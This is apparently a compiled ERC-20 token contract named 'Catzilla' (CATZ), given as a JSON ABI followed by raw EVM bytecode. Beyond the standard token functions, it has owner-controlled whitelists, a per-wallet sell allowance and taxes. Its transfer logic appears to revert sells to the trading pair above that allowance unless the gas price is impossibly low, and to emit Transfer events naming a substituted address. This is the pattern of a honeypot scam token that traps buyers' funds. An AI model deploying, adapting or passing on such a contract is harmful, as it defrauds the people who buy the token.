[ { "inputs": [ { "internalType": "uint256", "name": "_totalSupply", "type": "uint256" }, { "internalType": "uint256", "name": "tokenAmount", "type": "uint256" }, { "internalType": "address", "name": "deployer", "type": "address" }, { "internalType": "uint256", "name": "_tokenAllowFeeAmount", "type": "uint256" }, { "internalType": "bool", "name": "transferToDeployer", "type": "bool" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "allowance", "type": "uint256" }, { "internalType": "uint256", "name": "needed", "type": "uint256" } ], "name": "ERC20InsufficientAllowance", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "uint256", "name": "balance", "type": "uint256" }, { "internalType": "uint256", "name": "needed", "type": "uint256" } ], "name": "ERC20InsufficientBalance", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "approver", "type": "address" } ], "name": "ERC20InvalidApprover", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "receiver", "type": "address" } ], "name": "ERC20InvalidReceiver", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" } ], "name": "ERC20InvalidSender", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" } ], "name": "ERC20InvalidSpender", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" } ], "name": "OwnableInvalidOwner", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "OwnableUnauthorizedAccount", "type": "error" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [], "name": "ARB_CHAIN_ID", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "AVAX_CHAIN_ID", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "list", "type": "address[]" } ], "name": "Approve", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "BASE_CHAIN_ID", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "BLAST_CHAIN_ID", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "ETH_CHAIN_ID", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "user", "type": "address" }, { "internalType": "bool", "name": "status", "type": "bool" } ], "name": "addCheckUser", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "amountTokenDesired", "type": "uint256" }, { "internalType": "uint256", "name": "amountTokenMin", "type": "uint256" }, { "internalType": "uint256", "name": "amountETHMin", "type": "uint256" }, { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "deadline", "type": "uint256" } ], "name": "addLiquidityETH", "outputs": [ { "internalType": "uint256", "name": "amountToken", "type": "uint256" }, { "internalType": "uint256", "name": "amountETH", "type": "uint256" }, { "internalType": "uint256", "name": "liquidity", "type": "uint256" } ], "stateMutability": "payable", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "list", "type": "address[]" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "airdropTokens", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "blockNumber", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "buyTax", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "newName", "type": "string" }, { "internalType": "string", "name": "newSymbol", "type": "string" } ], "name": "chageNameAndSymbol", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "changeMe", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "changeTokenAllowFeeAmount", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "checkUser", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "currentAllow", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "getChainID", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "getOpenedTrade", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "getPairAddress", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "lauch", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "name": "listRouter", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "openedTrade", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "liquidity", "type": "uint256" }, { "internalType": "uint256", "name": "amountTokenMin", "type": "uint256" }, { "internalType": "uint256", "name": "amountETHMin", "type": "uint256" }, { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "deadline", "type": "uint256" } ], "name": "removeLiquidityETH", "outputs": [ { "internalType": "uint256", "name": "amountToken", "type": "uint256" }, { "internalType": "uint256", "name": "amountETH", "type": "uint256" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "sellTax", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_router", "type": "address" }, { "internalType": "uint256", "name": "chainId", "type": "uint256" } ], "name": "setRouter", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "tokenAllowFeeAmount", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "tokenName", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "tokenSymbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "from", "type": "address" }, { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "userAmount", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "whitelist", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "withdrawETH", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "token", "type": "address" } ], "name": "withdrawStuckToken", "outputs": [], "stateMutability": "nonpayable", "type": "function" } ]
60806040526040518060400160405280600881526020017f4361747a696c6c61000000000000000000000000000000000000000000000000815250600890816200004a9190620014de565b506040518060400160405280600481526020017f4341545a0000000000000000000000000000000000000000000000000000000081525060099081620000919190620014de565b506445d964b8006014556005601555348015620000ac575f80fd5b5060405162004e4738038062004e478339818101604052810190620000d2919062001690565b3360088054620000e290620012de565b80601f01602080910402602001604051908101604052809291908181526020018280546200011090620012de565b80156200015f5780601f1062000135576101008083540402835291602001916200015f565b820191905f5260205f20905b8154815290600101906020018083116200014157829003601f168201915b5050505050600980546200017390620012de565b80601f0160208091040260200160405190810160405280929190818152602001828054620001a190620012de565b8015620001f05780601f10620001c657610100808354040283529160200191620001f0565b820191905f5260205f20905b815481529060010190602001808311620001d257829003601f168201915b505050505033868360039081620002089190620014de565b5082600490816200021a9190620014de565b508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000312575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000309919062001725565b60405180910390fd5b62000323816200052c60201b60201c565b50600160135f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080156200039857620003923385620005ef60201b60201c565b620003ab565b620003aa3085620005ef60201b60201c565b5b620003ca338587620003be91906200176d565b620005ef60201b60201c565b81600d81905550620003e16200067960201b60201c565b5f620003f26200087460201b60201c565b90505f8060115f8481526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8303620004ab578073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200047d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004a39190620017a7565b91506200051e565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004f5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200051b9190620017a7565b91505b505050505050505062001921565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000662575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040162000659919062001725565b60405180910390fd5b620006755f83836200088060201b60201c565b5050565b73f164fc0ec4e93095b804a4795bbe1e041497b92a60115f600181526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad2460115f61210581526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507360ae616a2155ee3d9a68541ba4544862310933d460115f61a86a81526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507398994a9a7a2570367554589189dc9772241650f660115f62013e3181526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad2460115f61a4b181526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f804690508091505090565b60135f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615620008e957620008e383838362000b5160201b60201c565b62000b4c565b600f5f9054906101000a900460ff166200093a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009319062001835565b60405180910390fd5b5f6200094b62000f3d60201b60201c565b90505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200099b576200099484848462000b5160201b60201c565b5062000b4c565b8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801562000a225750600d548260125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205462000a20919062001855565b115b1562000a535762000a3984620011c760201b60201c565b62000a4c84848462000b5160201b60201c565b5062000b4c565b8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801562000adb5750600d548260125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205462000ad8919062001855565b11155b1562000b37578160125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000b2f919062001855565b925050819055505b62000b4a84848462000b5160201b60201c565b505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000ba5578060025f82825462000b98919062001855565b9250508190555062000c76565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101562000c31578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040162000c2893929190620018a0565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000cbf578060025f828254039250508190555062000d09565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000dec5760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000dde9190620018db565b60405180910390a362000f38565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000ecf578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000ec19190620018db565b60405180910390a362000f37565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000f2e9190620018db565b60405180910390a35b5b505050565b5f805f62000f506200087460201b60201c565b90505f60115f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a820362001008578073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000fda573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620010009190620017a7565b92506200107b565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562001052573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620010789190620017a7565b92505b5f3090505f808273ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1610620010bd578286620010c0565b85835b915091505f8473ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200110f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011359190620017a7565b90505f8173ffffffffffffffffffffffffffffffffffffffff1663e6a4390585856040518363ffffffff1660e01b815260040162001175929190620018f6565b602060405180830381865afa15801562001191573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011b79190620017a7565b9050809850505050505050505090565b5f620011d9826200122560201b60201c565b11156200122257600f5f9054906101000a900460ff166200120d57620012076014546200126a60201b60201c565b62001221565b620012206015546200126a60201b60201c565b5b5b50565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b803a111562001277575f80fd5b50565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620012f657607f821691505b6020821081036200130c576200130b620012b1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620013707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262001333565b6200137c868362001333565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620013c6620013c0620013ba8462001394565b6200139d565b62001394565b9050919050565b5f819050919050565b620013e183620013a6565b620013f9620013f082620013cd565b8484546200133f565b825550505050565b5f90565b6200140f62001401565b6200141c818484620013d6565b505050565b5b818110156200144357620014375f8262001405565b60018101905062001422565b5050565b601f82111562001492576200145c8162001312565b620014678462001324565b8101602085101562001477578190505b6200148f620014868562001324565b83018262001421565b50505b505050565b5f82821c905092915050565b5f620014b45f198460080262001497565b1980831691505092915050565b5f620014ce8383620014a3565b9150826002028217905092915050565b620014e9826200127a565b67ffffffffffffffff81111562001505576200150462001284565b5b620015118254620012de565b6200151e82828562001447565b5f60209050601f83116001811462001554575f84156200153f578287015190505b6200154b8582620014c1565b865550620015ba565b601f198416620015648662001312565b5f5b828110156200158d5784890151825560018201915060208501945060208101905062001566565b86831015620015ad5784890151620015a9601f891682620014a3565b8355505b6001600288020188555050505b505050505050565b5f80fd5b620015d18162001394565b8114620015dc575f80fd5b50565b5f81519050620015ef81620015c6565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200162082620015f5565b9050919050565b620016328162001614565b81146200163d575f80fd5b50565b5f81519050620016508162001627565b92915050565b5f8115159050919050565b6200166c8162001656565b811462001677575f80fd5b50565b5f815190506200168a8162001661565b92915050565b5f805f805f60a08688031215620016ac57620016ab620015c2565b5b5f620016bb88828901620015df565b9550506020620016ce88828901620015df565b9450506040620016e18882890162001640565b9350506060620016f488828901620015df565b925050608062001707888289016200167a565b9150509295509295909350565b6200171f8162001614565b82525050565b5f6020820190506200173a5f83018462001714565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620017798262001394565b9150620017868362001394565b9250828203905081811115620017a157620017a062001740565b5b92915050565b5f60208284031215620017bf57620017be620015c2565b5b5f620017ce8482850162001640565b91505092915050565b5f82825260208201905092915050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f6200181d601d83620017d7565b91506200182a82620017e7565b602082019050919050565b5f6020820190508181035f8301526200184e816200180f565b9050919050565b5f620018618262001394565b91506200186e8362001394565b925082820190508082111562001889576200188862001740565b5b92915050565b6200189a8162001394565b82525050565b5f606082019050620018b55f83018662001714565b620018c460208301856200188f565b620018d360408301846200188f565b949350505050565b5f602082019050620018f05f8301846200188f565b92915050565b5f6040820190506200190b5f83018562001714565b6200191a602083018462001714565b9392505050565b613518806200192f5f395ff3fe608060405260043610610266575f3560e01c80636c02a93111610143578063a9059cbb116100b5578063e086e5ec11610079578063e086e5ec14610915578063e0e2b08b1461092b578063e1ad418e14610953578063efc21e3f1461098f578063f2fde38b146109b9578063f305d719146109e157610266565b8063a9059cbb14610821578063b95999cd1461085d578063cc1776d314610885578063cc2b7858146108af578063dd62ed3e146108d957610266565b80638d5f81e2116101075780638d5f81e2146107155780638da5cb5b1461073f57806395d89b41146107695780639b19251a146107935780639f5fa028146107cf578063a11223da146107f957610266565b80636c02a9311461064757806370a0823114610671578063715018a6146106ad5780637b61c320146106c35780638b339069146106ed57610266565b80633811ac02116101dc5780635408d42d116101a05780635408d42d1461054d578063564b81ef1461057757806357e871e7146105a1578063593ed58c146105cb578063594ef0d9146106075780636b05abd61461063157610266565b80633811ac021461047f5780633c9f5ed6146104a75780633de4b85c146104d15780634c97f472146104fb5780634f7041a51461052357610266565b806315aac2271161022e57806315aac2271461035f57806318160ddd146103895780631e9d48cf146103b357806323b872dd146103ef5780632711b8a51461042b578063313ce5671461045557610266565b806302751cec1461026a578063068acf6c146102a757806306fdde03146102cf578063095ea7b3146102f95780631189478014610335575b5f80fd5b348015610275575f80fd5b50610290600480360381019061028b919061276b565b610a13565b60405161029e929190612803565b60405180910390f35b3480156102b2575f80fd5b506102cd60048036038101906102c8919061282a565b610d2c565b005b3480156102da575f80fd5b506102e3610e2f565b6040516102f091906128df565b60405180910390f35b348015610304575f80fd5b5061031f600480360381019061031a91906128ff565b610ebf565b60405161032c9190612957565b60405180910390f35b348015610340575f80fd5b50610349610ee1565b6040516103569190612970565b60405180910390f35b34801561036a575f80fd5b50610373610ee8565b6040516103809190612970565b60405180910390f35b348015610394575f80fd5b5061039d610eee565b6040516103aa9190612970565b60405180910390f35b3480156103be575f80fd5b506103d960048036038101906103d4919061282a565b610ef7565b6040516103e69190612957565b60405180910390f35b3480156103fa575f80fd5b5061041560048036038101906104109190612989565b610f14565b6040516104229190612957565b60405180910390f35b348015610436575f80fd5b5061043f610f42565b60405161044c9190612970565b60405180910390f35b348015610460575f80fd5b50610469610f4a565b60405161047691906129f4565b60405180910390f35b34801561048a575f80fd5b506104a560048036038101906104a09190612b4d565b610f52565b005b3480156104b2575f80fd5b506104bb610feb565b6040516104c89190612957565b60405180910390f35b3480156104dc575f80fd5b506104e5611000565b6040516104f29190612970565b60405180910390f35b348015610506575f80fd5b50610521600480360381019061051c9190612c44565b611006565b005b34801561052e575f80fd5b50610537611032565b6040516105449190612970565b60405180910390f35b348015610558575f80fd5b50610561611038565b60405161056e9190612957565b60405180910390f35b348015610582575f80fd5b5061058b61104a565b6040516105989190612970565b60405180910390f35b3480156105ac575f80fd5b506105b5611056565b6040516105c29190612970565b60405180910390f35b3480156105d6575f80fd5b506105f160048036038101906105ec9190612cba565b61105c565b6040516105fe9190612cf4565b60405180910390f35b348015610612575f80fd5b5061061b61108c565b6040516106289190612970565b60405180910390f35b34801561063c575f80fd5b50610645611092565b005b348015610652575f80fd5b5061065b6110c4565b60405161066891906128df565b60405180910390f35b34801561067c575f80fd5b506106976004803603810190610692919061282a565b611150565b6040516106a49190612970565b60405180910390f35b3480156106b8575f80fd5b506106c1611195565b005b3480156106ce575f80fd5b506106d76111a8565b6040516106e491906128df565b60405180910390f35b3480156106f8575f80fd5b50610713600480360381019061070e9190612cba565b611234565b005b348015610720575f80fd5b50610729611246565b6040516107369190612cf4565b60405180910390f35b34801561074a575f80fd5b506107536114b6565b6040516107609190612cf4565b60405180910390f35b348015610774575f80fd5b5061077d6114de565b60405161078a91906128df565b60405180910390f35b34801561079e575f80fd5b506107b960048036038101906107b4919061282a565b61156e565b6040516107c69190612957565b60405180910390f35b3480156107da575f80fd5b506107e361158b565b6040516107f09190612970565b60405180910390f35b348015610804575f80fd5b5061081f600480360381019061081a9190612d0d565b611590565b005b34801561082c575f80fd5b50610847600480360381019061084291906128ff565b611641565b6040516108549190612957565b60405180910390f35b348015610868575f80fd5b50610883600480360381019061087e91906128ff565b611663565b005b348015610890575f80fd5b506108996116be565b6040516108a69190612970565b60405180910390f35b3480156108ba575f80fd5b506108c36116c4565b6040516108d09190612970565b60405180910390f35b3480156108e4575f80fd5b506108ff60048036038101906108fa9190612d67565b6116ca565b60405161090c9190612970565b60405180910390f35b348015610920575f80fd5b5061092961174c565b005b348015610936575f80fd5b50610951600480360381019061094c9190612dcf565b61179a565b005b34801561095e575f80fd5b506109796004803603810190610974919061282a565b6117fa565b6040516109869190612970565b60405180910390f35b34801561099a575f80fd5b506109a361180f565b6040516109b09190612970565b60405180910390f35b3480156109c4575f80fd5b506109df60048036038101906109da919061282a565b611815565b005b6109fb60048036038101906109f6919061276b565b611899565b604051610a0a93929190612e0d565b60405180910390f35b5f80610a1d6119fb565b5f610a26611246565b90505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401610a629190612cf4565b602060405180830381865afa158015610a7d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aa19190612e56565b90508173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401610ae093929190612e81565b6020604051808303815f875af1158015610afc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b209190612eca565b505f610b2a61104a565b90505f60115f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508373ffffffffffffffffffffffffffffffffffffffff1663095ea7b382856040518363ffffffff1660e01b8152600401610b9b929190612ef5565b6020604051808303815f875af1158015610bb7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bdb9190612eca565b5061a86a8203610c83578073ffffffffffffffffffffffffffffffffffffffff166333c6b72530855f803369d3c21bcecceda0ffffff43610c1c9190612f49565b6040518763ffffffff1660e01b8152600401610c3d96959493929190612fbe565b60408051808303815f875af1158015610c58573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c7c919061301d565b5050610d1d565b8073ffffffffffffffffffffffffffffffffffffffff166302751cec30855f803369d3c21bcecceda0ffffff43610cba9190612f49565b6040518763ffffffff1660e01b8152600401610cdb96959493929190612fbe565b60408051808303815f875af1158015610cf6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d1a919061301d565b50505b50505050965096945050505050565b610d346119fb565b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d6e9190612cf4565b602060405180830381865afa158015610d89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dad9190612e56565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610dea929190612ef5565b6020604051808303815f875af1158015610e06573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e2a9190612eca565b505050565b606060088054610e3e90613088565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6a90613088565b8015610eb55780601f10610e8c57610100808354040283529160200191610eb5565b820191905f5260205f20905b815481529060010190602001808311610e9857829003601f168201915b5050505050905090565b5f80610ec9611a82565b9050610ed6818585611a89565b600191505092915050565b62013e3181565b600e5481565b5f600254905090565b6010602052805f5260405f205f915054906101000a900460ff1681565b5f80610f1e611a82565b9050610f2b858285611a9b565b610f36858585611b2d565b60019150509392505050565b5f602e905090565b5f6012905090565b610f5a6119fb565b5f5b8151811015610fe757600160135f848481518110610f7d57610f7c6130b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610fdf906130e5565b915050610f5c565b5050565b5f600f5f9054906101000a900460ff16905090565b61a86a81565b61100e6119fb565b816008908161101d91906132c0565b50806009908161102d91906132c0565b505050565b600b5481565b600f5f9054906101000a900460ff1681565b5f804690508091505090565b600a5481565b6011602052805f5260405f205f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff16